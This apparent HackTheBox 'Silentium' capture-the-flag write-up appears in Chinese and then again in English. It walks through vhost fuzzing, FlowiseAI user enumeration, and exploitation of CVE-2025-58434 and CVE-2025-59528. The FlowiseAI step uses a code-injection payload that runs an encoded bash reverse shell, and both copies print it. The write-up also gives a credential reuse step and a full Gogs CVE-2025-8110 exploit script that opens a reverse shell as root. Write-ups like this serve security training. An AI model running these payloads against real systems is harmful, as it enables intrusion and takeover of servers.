HackTheBox Silentium Writeup

HackTheBox Silentium 是一台简单难度的 Linux 机器。本文按照信息收集、初始访问、横向或提权路径的顺序整理完整解题过程,突出关键漏洞点、凭据来源与最终拿到 user/root 或域权限的利用链。

htb silentium

枚举

# Nmap 7.98 scan initiated Mon Apr 13 12:41:02 2026 as: /usr/lib/nmap/nmap -sC -sV -T4 -oN nmap_result.txt 10.129.240.45
Nmap scan report for 10.129.240.45
Host is up (0.077s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 13 12:41:14 2026 -- 1 IP address (1 host up) scanned in 11.65 seconds

打开80端口没发现有价值的东西

vhost

进行模糊测试

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://silentium.htb/ -H 'Host: FUZZ.silentium.htb' -fw 6
# staging

利用

进入staging.silentium.htb后是一个FlowiseAI的登陆界面,根据输入账号密码后的响应,可以进行用户名枚举。当速度过快时会出现状态码500,特殊字符400,用户不在404,所以进行模糊测试

ffuf -w /usr/share/seclists/Usernames/Names/names.txt:FUZZ \
-u http://staging.silentium.htb/api/v1/account/forgot-password \
-X POST \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-d '{"user":{"email":"FUZZ@silentium.htb"}}' \
-mc all \
-t 1 \
-fc 500,404,400
# ben                     [Status: 201, Size: 579, Words: 1, Lines: 1, Duration: 146ms]

发送后得到tempToken,搜索后得到CVE-2025-58434

这个tempToken是用户在重置密码时有效的token,立即使用

图片.png

登陆后搜索得到CVE-2025-59528 进行利用

curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \
  -d '{
    "loadMethod": "listActions",
    "inputs": {
      "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuODMvNDQ0NCAwPiYxKSAm|base64 -d|bash\");return 1;})()})"
    }
  }'

USER

进行简单的基础枚举

env
# SMTP_PASSWORD=r04D!!_R4ge

尝试SSH

ssh ben@silentium.htb
# 输入r04D!!_R4ge

ROOT

基础枚举发现一个3001端口

ben@silentium:~$ curl -s http://localhost:3001/ | head -100
<!DOCTYPE html>
<html>
<head data-suburl="">
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge"/>

                <meta name="author" content="Gogs" />
                <meta name="description" content="Gogs is a painless self-hosted Git service" />
                <meta name="keywords" content="go, git, self-hosted, gogs">

是一个Gogs网站转发端口看一下ssh -L 3001:127.0.0.1:3001 ben@silentium.htb

ps aux
# root        1537  0.0  1.9 1665124 77864 ?       Ssl  02:31   0:02 /opt/gogs/gogs/gogs web

是root在运行这这个网站,搜索一下相关漏洞CVE-2025-8110,修改一下脚本:

删掉了 register() 函数和所有注册逻辑

账号密码改成自己注册的 123:123

完整脚本

#!/usr/bin/env python3

import argparse
import requests
import os
import subprocess
import shutil
import urllib3
from urllib.parse import urlparse
import base64
from bs4 import BeautifulSoup
from rich.console import Console

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

console = Console()

"""Exploit script for CVE-2025-8110 in Gogs."""

__author__ = "zAbuQasem"
__Linkedin__ = "https://www.linkedin.com/in/zeyad-abulaban/"

def login(session, base_url, username, password):
    """Authenticate and retrieve CSRF token + session cookie."""
    login_url = f"{base_url}/user/login"
    resp = session.get(login_url)
    csrf = extract_csrf(resp.text)

    login_data = {
        "_csrf": csrf,
        "user_name": username,
        "password": password,
    }
    resp = session.post(
        login_url,
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        data=login_data,
        allow_redirects=True,
    )
    if "user/login" in resp.url:
        console.print(f"[bold red]Authentication failed: {resp.status_code}[/bold red]")
        raise ValueError("Authentication failed")
    console.print("[bold green][+] Authenticated successfully[/bold green]")
    return session.cookies

def get_application_token(session, base_url):
    """Retrieve application token from settings."""
    settings_url = f"{base_url}/user/settings/applications"
    get_resp = session.get(settings_url, allow_redirects=True)
    csrf = extract_csrf(get_resp.text)

    data = {"_csrf": csrf, "name": os.urandom(8).hex()}
    resp = session.post(settings_url, data=data, allow_redirects=True)
    console.print(f"[blue]Token generation status: {resp.status_code}[/blue]")
    soup = BeautifulSoup(resp.text, "html.parser")
    token_div = soup.find("div", class_="ui info message")
    if not token_div:
        raise ValueError("Application token not found")
    token = token_div.find("p").text.strip()
    console.print(f"[bold green][+] Application token: {token}[/bold green]")
    return token

def create_malicious_repo(session, base_url, token):
    """Create a repository with a malicious payload."""
    api = f"{base_url}/api/v1/user/repos"
    repository_name = os.urandom(6).hex()
    data = {
        "name": repository_name,
        "description": "Malicious repo for CVE-2025-8110",
        "auto_init": True,
        "readme": "Default",
        "ssh": True,
    }
    session.headers.update({"Authorization": f"token {token}"})
    resp = session.post(api, json=data)
    console.print(f"[blue]Repo creation status: {resp.status_code}[/blue]")
    if resp.status_code != 201:
        console.print(f"[bold red]Repo creation failed: {resp.text}[/bold red]")
        raise ValueError(f"Repo creation failed: {resp.text}")
    console.print(f"[bold green][+] Repository created: {repository_name}[/bold green]")
    return repository_name

def upload_malicious_symlink(base_url, username, password, repo_name):
    """Clone a repo, add a symlink, commit, and push it."""
    repo_dir = f"/tmp/{repo_name}"

    parsed_url = urlparse(base_url)
    if not parsed_url.scheme or not parsed_url.netloc:
        raise ValueError("Base URL must include scheme (e.g., http://host)")
    base_path = parsed_url.path.rstrip("/")

    clone_cmd = [
        "git",
        "clone",
        f"{parsed_url.scheme}://{username}:{password}@{parsed_url.netloc}"
        f"{base_path}/{username}/{repo_name}.git",
        repo_dir,
    ]

    symlink_path = os.path.join(repo_dir, "malicious_link")

    try:
        if os.path.exists(repo_dir):
            shutil.rmtree(repo_dir)

        console.print("[blue][*] Cloning repository...[/blue]")
        subprocess.run(clone_cmd, check=True)

        os.symlink(".git/config", symlink_path)
        console.print("[blue][*] Symlink created: malicious_link -> .git/config[/blue]")

        subprocess.run(
            ["git", "add", "malicious_link"],
            cwd=repo_dir,
            check=True,
        )

        subprocess.run(
            ["git", "-c", "user.name=exploit", "-c", "user.email=exploit@exploit.com",
             "commit", "-m", "Add malicious symlink"],
            cwd=repo_dir,
            check=True,
        )

        console.print("[blue][*] Pushing symlink to remote...[/blue]")
        subprocess.run(
            ["git", "push", "origin", "master"],
            cwd=repo_dir,
            check=True,
        )
        console.print("[bold green][+] Symlink pushed successfully[/bold green]")

    except subprocess.CalledProcessError as e:
        raise ValueError(f"Git command failed: {e}") from e
    except OSError as e:
        raise ValueError(f"Filesystem operation failed: {e}") from e

def exploit(session, base_url, token, username, repo_name, command):
    """Exploit CVE-2025-8110 to execute arbitrary commands."""
    api = f"{base_url}/api/v1/repos/{username}/{repo_name}/contents/malicious_link"
    data = {
        "message": "Exploit CVE-2025-8110",
        "content": base64.b64encode(command.encode()).decode(),
    }
    headers = {
        "Authorization": f"token {token}",
        "Content-Type": "application/json",
    }
    console.print("[bold yellow][*] Sending exploit payload via API...[/bold yellow]")
    resp = session.put(api, json=data, headers=headers, timeout=5)
    console.print(f"[blue]Exploit response status: {resp.status_code}[/blue]")
    console.print("[bold green][+] Exploit sent, check your listener![/bold green]")

def extract_csrf(html_text):
    """Parse CSRF token from hidden input."""
    soup = BeautifulSoup(html_text, "html.parser")
    token_input = soup.select_one("input[name=_csrf]")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    raise ValueError("CSRF token not found in form response")

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", required=True, help="Gogs base URL")
    parser.add_argument("-lh", "--host", required=True, help="Attacker host")
    parser.add_argument("-lp", "--port", required=True, help="Attacker port")
    args = parser.parse_args()

    username = "123"
    password = "123"

    session = requests.Session()
    session.verify = False

    command = f"bash -c 'bash -i >& /dev/tcp/{args.host}/{args.port} 0>&1' #"

    try:
        login(session, args.url, username, password)
        token = get_application_token(session, args.url)
        repo_name = create_malicious_repo(session, args.url, token)

        git_config = f"""[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
	ignorecase = true
	precomposeunicode = true
  sshCommand = {command}
[remote "origin"]
	url = git@localhost:gogs/{repo_name}.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
	remote = origin
	merge = refs/heads/master
"""
        upload_malicious_symlink(args.url, username, password, repo_name)
        exploit(session, args.url, token, username, repo_name, git_config)

    except Exception as e:
        console.print(f"[bold red][-] Error: {e}[/bold red]")

if __name__ == "__main__":
    main()

HTB silentium

Enumeration

# Nmap 7.98 scan initiated Mon Apr 13 12:41:02 2026 as: /usr/lib/nmap/nmap -sC -sV -T4 -oN nmap_result.txt 10.129.240.45
Nmap scan report for 10.129.240.45
Host is up (0.077s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 13 12:41:14 2026 -- 1 IP address (1 host up) scanned in 11.65 seconds

Opening port 80 reveals nothing of value.

vhost

Performing fuzzing.

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://silentium.htb/ -H 'Host: FUZZ.silentium.htb' -fw 6
# staging

Exploitation

After navigating to staging.silentium.htb, we find a FlowiseAI login page. Based on the response after entering a username and password, user enumeration is possible. When the speed is too fast, a 500 status code appears; special characters yield 400, and non-existent users yield 404. So we perform fuzzing.

ffuf -w /usr/share/seclists/Usernames/Names/names.txt:FUZZ \
-u http://staging.silentium.htb/api/v1/account/forgot-password \
-X POST \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-d '{"user":{"email":"FUZZ@silentium.htb"}}' \
-mc all \
-t 1 \
-fc 500,404,400
# ben                     [Status: 201, Size: 579, Words: 1, Lines: 1, Duration: 146ms]

After sending, we receive a tempToken. A search leads to CVE-2025-58434.

This tempToken is valid when a user is resetting their password, so we use it immediately.

图片.png

After logging in, a search reveals CVE-2025-59528 for exploitation.

curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \
  -d '{
    "loadMethod": "listActions",
    "inputs": {
      "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuODMvNDQ0NCAwPiYxKSAm|base64 -d|bash\");return 1;})()})"
    }
  }'

USER

Performing basic enumeration.

env
# SMTP_PASSWORD=r04D!!_R4ge

Attempting SSH.

ssh ben@silentium.htb
# Enter r04D!!_R4ge

ROOT

Basic enumeration reveals a service on port 3001.

ben@silentium:~$ curl -s http://localhost:3001/ | head -100
<!DOCTYPE html>
<html>
<head data-suburl="">
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge"/>

                <meta name="author" content="Gogs" />
                <meta name="description" content="Gogs is a painless self-hosted Git service" />
                <meta name="keywords" content="go, git, self-hosted, gogs">

It’s a Gogs website. We forward the port using ssh -L 3001:127.0.0.1:3001 ben@silentium.htb.

ps aux
# root        1537  0.0  1.9 1665124 77864 ?       Ssl  02:31   0:02 /opt/gogs/gogs/gogs web

The root user is running this website. Searching for related vulnerabilities leads to CVE-2025-8110. We modify the script:

Removed the register() function and all registration logic.

Changed the account/password to our own registered 123:123.

Complete script:

#!/usr/bin/env python3

import argparse
import requests
import os
import subprocess
import shutil
import urllib3
from urllib.parse import urlparse
import base64
from bs4 import BeautifulSoup
from rich.console import Console

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

console = Console()

"""Exploit script for CVE-2025-8110 in Gogs."""

__author__ = "zAbuQasem"
__Linkedin__ = "https://www.linkedin.com/in/zeyad-abulaban/"

def login(session, base_url, username, password):
    """Authenticate and retrieve CSRF token + session cookie."""
    login_url = f"{base_url}/user/login"
    resp = session.get(login_url)
    csrf = extract_csrf(resp.text)

    login_data = {
        "_csrf": csrf,
        "user_name": username,
        "password": password,
    }
    resp = session.post(
        login_url,
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        data=login_data,
        allow_redirects=True,
    )
    if "user/login" in resp.url:
        console.print(f"[bold red]Authentication failed: {resp.status_code}[/bold red]")
        raise ValueError("Authentication failed")
    console.print("[bold green][+] Authenticated successfully[/bold green]")
    return session.cookies

def get_application_token(session, base_url):
    """Retrieve application token from settings."""
    settings_url = f"{base_url}/user/settings/applications"
    get_resp = session.get(settings_url, allow_redirects=True)
    csrf = extract_csrf(get_resp.text)

    data = {"_csrf": csrf, "name": os.urandom(8).hex()}
    resp = session.post(settings_url, data=data, allow_redirects=True)
    console.print(f"[blue]Token generation status: {resp.status_code}[/blue]")
    soup = BeautifulSoup(resp.text, "html.parser")
    token_div = soup.find("div", class_="ui info message")
    if not token_div:
        raise ValueError("Application token not found")
    token = token_div.find("p").text.strip()
    console.print(f"[bold green][+] Application token: {token}[/bold green]")
    return token

def create_malicious_repo(session, base_url, token):
    """Create a repository with a malicious payload."""
    api = f"{base_url}/api/v1/user/repos"
    repository_name = os.urandom(6).hex()
    data = {
        "name": repository_name,
        "description": "Malicious repo for CVE-2025-8110",
        "auto_init": True,
        "readme": "Default",
        "ssh": True,
    }
    session.headers.update({"Authorization": f"token {token}"})
    resp = session.post(api, json=data)
    console.print(f"[blue]Repo creation status: {resp.status_code}[/blue]")
    if resp.status_code != 201:
        console.print(f"[bold red]Repo creation failed: {resp.text}[/bold red]")
        raise ValueError(f"Repo creation failed: {resp.text}")
    console.print(f"[bold green][+] Repository created: {repository_name}[/bold green]")
    return repository_name

def upload_malicious_symlink(base_url, username, password, repo_name):
    """Clone a repo, add a symlink, commit, and push it."""
    repo_dir = f"/tmp/{repo_name}"

    parsed_url = urlparse(base_url)
    if not parsed_url.scheme or not parsed_url.netloc:
        raise ValueError("Base URL must include scheme (e.g., http://host)")
    base_path = parsed_url.path.rstrip("/")

    clone_cmd = [
        "git",
        "clone",
        f"{parsed_url.scheme}://{username}:{password}@{parsed_url.netloc}"
        f"{base_path}/{username}/{repo_name}.git",
        repo_dir,
    ]

    symlink_path = os.path.join(repo_dir, "malicious_link")

    try:
        if os.path.exists(repo_dir):
            shutil.rmtree(repo_dir)

        console.print("[blue][*] Cloning repository...[/blue]")
        subprocess.run(clone_cmd, check=True)

        os.symlink(".git/config", symlink_path)
        console.print("[blue][*] Symlink created: malicious_link -> .git/config[/blue]")

        subprocess.run(
            ["git", "add", "malicious_link"],
            cwd=repo_dir,
            check=True,
        )

        subprocess.run(
            ["git", "-c", "user.name=exploit", "-c", "user.email=exploit@exploit.com",
             "commit", "-m", "Add malicious symlink"],
            cwd=repo_dir,
            check=True,
        )

        console.print("[blue][*] Pushing symlink to remote...[/blue]")
        subprocess.run(
            ["git", "push", "origin", "master"],
            cwd=repo_dir,
            check=True,
        )
        console.print("[bold green][+] Symlink pushed successfully[/bold green]")

    except subprocess.CalledProcessError as e:
        raise ValueError(f"Git command failed: {e}") from e
    except OSError as e:
        raise ValueError(f"Filesystem operation failed: {e}") from e

def exploit(session, base_url, token, username, repo_name, command):
    """Exploit CVE-2025-8110 to execute arbitrary commands."""
    api = f"{base_url}/api/v1/repos/{username}/{repo_name}/contents/malicious_link"
    data = {
        "message": "Exploit CVE-2025-8110",
        "content": base64.b64encode(command.encode()).decode(),
    }
    headers = {
        "Authorization": f"token {token}",
        "Content-Type": "application/json",
    }
    console.print("[bold yellow][*] Sending exploit payload via API...[/bold yellow]")
    resp = session.put(api, json=data, headers=headers, timeout=5)
    console.print(f"[blue]Exploit response status: {resp.status_code}[/blue]")
    console.print("[bold green][+] Exploit sent, check your listener![/bold green]")

def extract_csrf(html_text):
    """Parse CSRF token from hidden input."""
    soup = BeautifulSoup(html_text, "html.parser")
    token_input = soup.select_one("input[name=_csrf]")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    raise ValueError("CSRF token not found in form response")

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", required=True, help="Gogs base URL")
    parser.add_argument("-lh", "--host", required=True, help="Attacker host")
    parser.add_argument("-lp", "--port", required=True, help="Attacker port")
    args = parser.parse_args()

    username = "123"
    password = "123"

    session = requests.Session()
    session.verify = False

    command = f"bash -c 'bash -i >& /dev/tcp/{args.host}/{args.port} 0>&1' #"

    try:
        login(session, args.url, username, password)
        token = get_application_token(session, args.url)
        repo_name = create_malicious_repo(session, args.url, token)

        git_config = f"""[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
	ignorecase = true
	precomposeunicode = true
  sshCommand = {command}
[remote "origin"]
	url = git@localhost:gogs/{repo_name}.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
	remote = origin
	merge = refs/heads/master
"""
        upload_malicious_symlink(args.url, username, password, repo_name)
        exploit(session, args.url, token, username, repo_name, git_config)

    except Exception as e:
        console.print(f"[bold red][-] Error: {e}[/bold red]")

if __name__ == "__main__":
    main()